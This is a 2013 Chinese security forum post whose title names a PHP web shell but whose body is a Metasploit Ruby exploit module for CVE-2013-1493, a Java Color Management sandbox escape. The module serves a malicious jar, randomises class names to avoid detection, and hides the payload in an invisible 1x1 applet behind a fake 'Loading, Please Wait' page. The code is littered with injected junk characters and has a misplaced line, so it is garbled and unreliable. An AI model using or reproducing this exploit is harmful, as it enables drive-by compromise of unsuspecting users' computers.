找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2309|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##+ Q# c7 ?3 p0 P  N) {8 w5 u. _
& B& s+ R" B8 g% L% D
# This file is part of the Metasploit Framework and may be subject to5 j. H3 u* m* O( r8 f" V
# redistribution and commercial restrictions. Please see the Metasploit
+ Z( T7 N0 s& t# web site for more information on licensing and terms of use.
( I: [* O: w4 z8 y; \+ K' P# http://metasploit.com/9 d1 L8 `& ^3 y7 M4 m# G# e0 Y
##8 Q$ k, D; ^: @+ T
require ‘msf/core’
. @1 G4 z  j1 `- Q/ j0 {7 F  o, J: y! arequire ‘rex’
6 x& T" ~8 Z4 g  B: Pclass Metasploit3 < Msf::Exploit::Remote! `) W9 R6 n+ J' u! _- j
Rank = NormalRanking
# Q9 P0 G* {* g9 R4 W/ S6 Qinclude Msf::Exploit::Remote::HttpServer::HTML2 N* I- {/ I; B; }
include Msf::Exploit::EXE! g; j9 |: _, d
include Msf::Exploit::Remote::BrowserAutopwn
- F5 D/ k, K8 i9 c6 r/ {3 Q# Iautopwn_info({ :javascript => false })
  O  @* N( X+ P( a6 h! H$ Wdef initialize( info = {} )
: |6 e  p: s3 w) u$ I/ [: d& Isuper( update_info( info,; X3 ~) G. g' x" ?" a
‘Name’ => ‘Java CMM Remote Code Execution’,9 e9 |, B% \: [, {) g
‘Description’ => %q{, f$ l5 V& p. [* E2 B
This module abuses the Color Management classes from a Java Applet to run  H% v- i5 g  B' S9 D/ ]: `
arbitrary Java code outside of the sandbox as exploited in the wild in February
: N% H7 D( x, `6 Wand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41% j' \( I( k% }
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
* K0 H3 T: G- o: ]% E6 ^3 Y: m, O" G- ~systems. This exploit doesn’t bypass click-to-play, so the user must accept the java* p/ E7 G% z+ J  K3 o; c5 N) O
warning in order to run the malicious applet.
3 L5 n2 Z& a: r- a5 W) a},, L0 @( }! z. m  y' n" E( ]8 I2 K) ?
‘License’ => MSF_LICENSE,* `$ g- w5 i: i% n% T
‘Author’ =>
7 ]3 |+ W/ D) j% b) `1 R'Unknown', # Vulnerability discovery and Exploit
' j" x6 d- F' p: f, P'juan vazquez' # Metasploit module (just ported the published exploit)
( a) ]7 p8 y3 B# w( t5 B],
+ R, ^4 J* u9 r" ~7 k4 z* f, N‘References’ =>
1 a7 `% J+ K: `; U% ~* w" ]; _[$ L; }) S. a: u& U% c
[ 'CVE', '2013-1493' ],, t# ~# b5 R' Y# w/ M
[ 'OSVDB', '90737' ],
8 t* B* @8 ]% g. {# w- \[ 'BID', '58238' ],9 Y6 e. z. ^, |$ b8 m
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
! _8 i+ M0 x3 G5 [8 b# y[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
% y1 O0 \. i4 M[ 'URL', 'http://pastie.org/pastes/6581034' ]
8 R9 m+ @: |( a+ u* Q],
6 F5 X# K& j# ?3 b& V3 ]5 x‘Platform’ => [ 'win', 'java' ],
! j! R0 [5 N1 a. V‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },+ Z# P! d+ V2 Q8 B3 H
‘Targets’ =>
1 A' s* P+ i0 \4 d5 V2 {[% h/ X( N' B+ y
[ 'Generic (Java Payload)',# O/ V6 k/ a4 s1 h3 Y) N
{
- c, d1 B3 M  O4 i* y* z2 p  f'Platform' => 'java',& S. K/ {; L. |& K. o% R
'Arch' => ARCH_JAVA
% r$ @! x8 p* u8 j2 K+ @* a; p; }}: I* L( ~/ o) d; i% U
],
. ^9 N( o5 Y  L0 l+ ]8 x+ o& \[ 'Windows x86 (Native Payload)',
- x/ @8 H  X4 D' ]+ x% N7 k{% x& G2 a9 p9 S" c! l2 W
'Platform' => 'win',
: w# U* i3 k% C% w6 ]' s'Arch' => ARCH_X86
" y5 L' C) {/ f, P+ Y4 d0 B% f}
( y: `' }+ [' t0 ?( M. ^( }/ Q]
' Y6 b) Y) X/ [) ^1 E+ |' Q& F( Y( ?],5 E. [% l( Y% E2 {: v8 Y
‘‘DisclosureDate’ => ‘Mar 01 2013′
/ L5 W: ?7 f) [))9 j0 h5 L* ^) q: k( m
end- p+ X5 z) k4 u! t
def setup
7 {7 K& J2 e- d9 i8 P+ o+ ypath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
+ O6 e4 H/ j7 `! u+ n# `( m@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% T4 f& }0 r0 e6 Q$ Vpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
, B+ Q, G( ^( ^0 w@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
# v9 W( }. h; Epath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
4 a; ]" p1 a; {0 k7 L6 t  f@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }; q( h  C$ P) x
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)$ t& X1 y. Q& T5 e% S6 r6 T
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }5 t" K) k4 ?5 Z% E* C2 W3 j9 E
@init_class_name = rand_text_alpha(“Init”.length)
, x1 A! S$ L" O@init_class.gsub!(“Init”, @init_class_name)& R7 [. \' N- X! x2 ?. J9 s. S
super
2 g3 b+ @; p! O7 Wend
- q$ G& y* J3 zdef on_request_uri(cli, request)
' }4 A! a/ x% jprint_status(“handling request for #{request.uri}”)
6 F2 ~- @1 J, Acase request.uri
* u+ [3 |) y8 w' [* Q: C1 o7 j7 L( X+ bwhen /\.jar$/i
( o4 E  L3 k! m3 l2 B. d* ejar = payload.encoded_jar
. p3 j3 O2 S1 T; U% Q; d* ojar.add_file(“#{@init_class_name}.class”, @init_class)
/ \" z. U5 B0 p) P: z& Njar.add_file(“Leak.class”, @leak_class)& O% |4 e" e" s2 S- g
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)" C2 `% u: o, _, L. W* ?1 ]+ X
jar.add_file(“MyColorSpace.class”, @color_space_class)
% p; V0 v" R2 t3 H! b1 Z. DDefaultTarget’ => 1,
" A. j7 m" T6 a4 m1 x% I8 lmetasploit_str = rand_text_alpha(“metasploit”.length)( Z! S5 l4 l5 H. W. W" l4 v
payload_str = rand_text_alpha(“payload”.length)
3 R6 J9 R' c8 Hjar.entries.each { |entry|
$ H* q4 x7 e/ |entry.name.gsub!(“metasploit”, metasploit_str)
1 |3 c' `6 c% G8 Y* lentry.name.gsub!(“Payload”, payload_str)
+ H  R( i$ ^, w5 Oentry.data = entry.data.gsub(“metasploit”, metasploit_str)/ h' o8 Q3 m! z0 M" \. u
entry.data = entry.data.gsub(“Payload”, payload_str)
0 t, e2 _$ X6 x- G0 s}7 R3 m9 u% X; q! B
jar.build_manifest% B, N4 U# T( _! E* t4 s. b6 R8 |
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
: N( i8 y  i9 }  rwhen /\/$/
3 l+ Z! S3 t# `! v2 ipayload = regenerate_payload(cli)
* ~; d  M+ r! ^0 {if not payload( {/ g4 Q4 e- c
print_error(“Failed to generate the payload.”)& b7 X. l' z- L/ X
send_not_found(cli)& N$ J# g/ s( I% E
return. P" `5 [7 j7 O* h
end
7 t+ t& N. k! K3 H9 ?) b; wsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })9 Y# W! P, w; g' D# `
else
6 M6 O3 G- E  y0 J5 _send_redirect(cli, get_resource() + ‘/’, ”)
( x/ Y6 R7 v5 T$ iend
2 ?% X3 K" a2 ?end
+ |. V! C% w$ e) G1 j7 i9 Vdef generate_html
: ~. l4 T2 ], G% v+ Lhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
. c& k  n( p9 e+ Chtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
: l/ Z$ }1 e0 L# y/ \! s2 khtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
  Q; F! Q3 Z7 }4 c- ohtml += %Q|</applet></body></html>|* W* w$ b5 Q2 u* l% a
return html
0 l9 H+ i+ E7 s  Tend
$ k1 Y  s$ b  L& Oend
; ^: C2 y' y7 U- nend6 X8 S, y" {8 ?1 d# Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表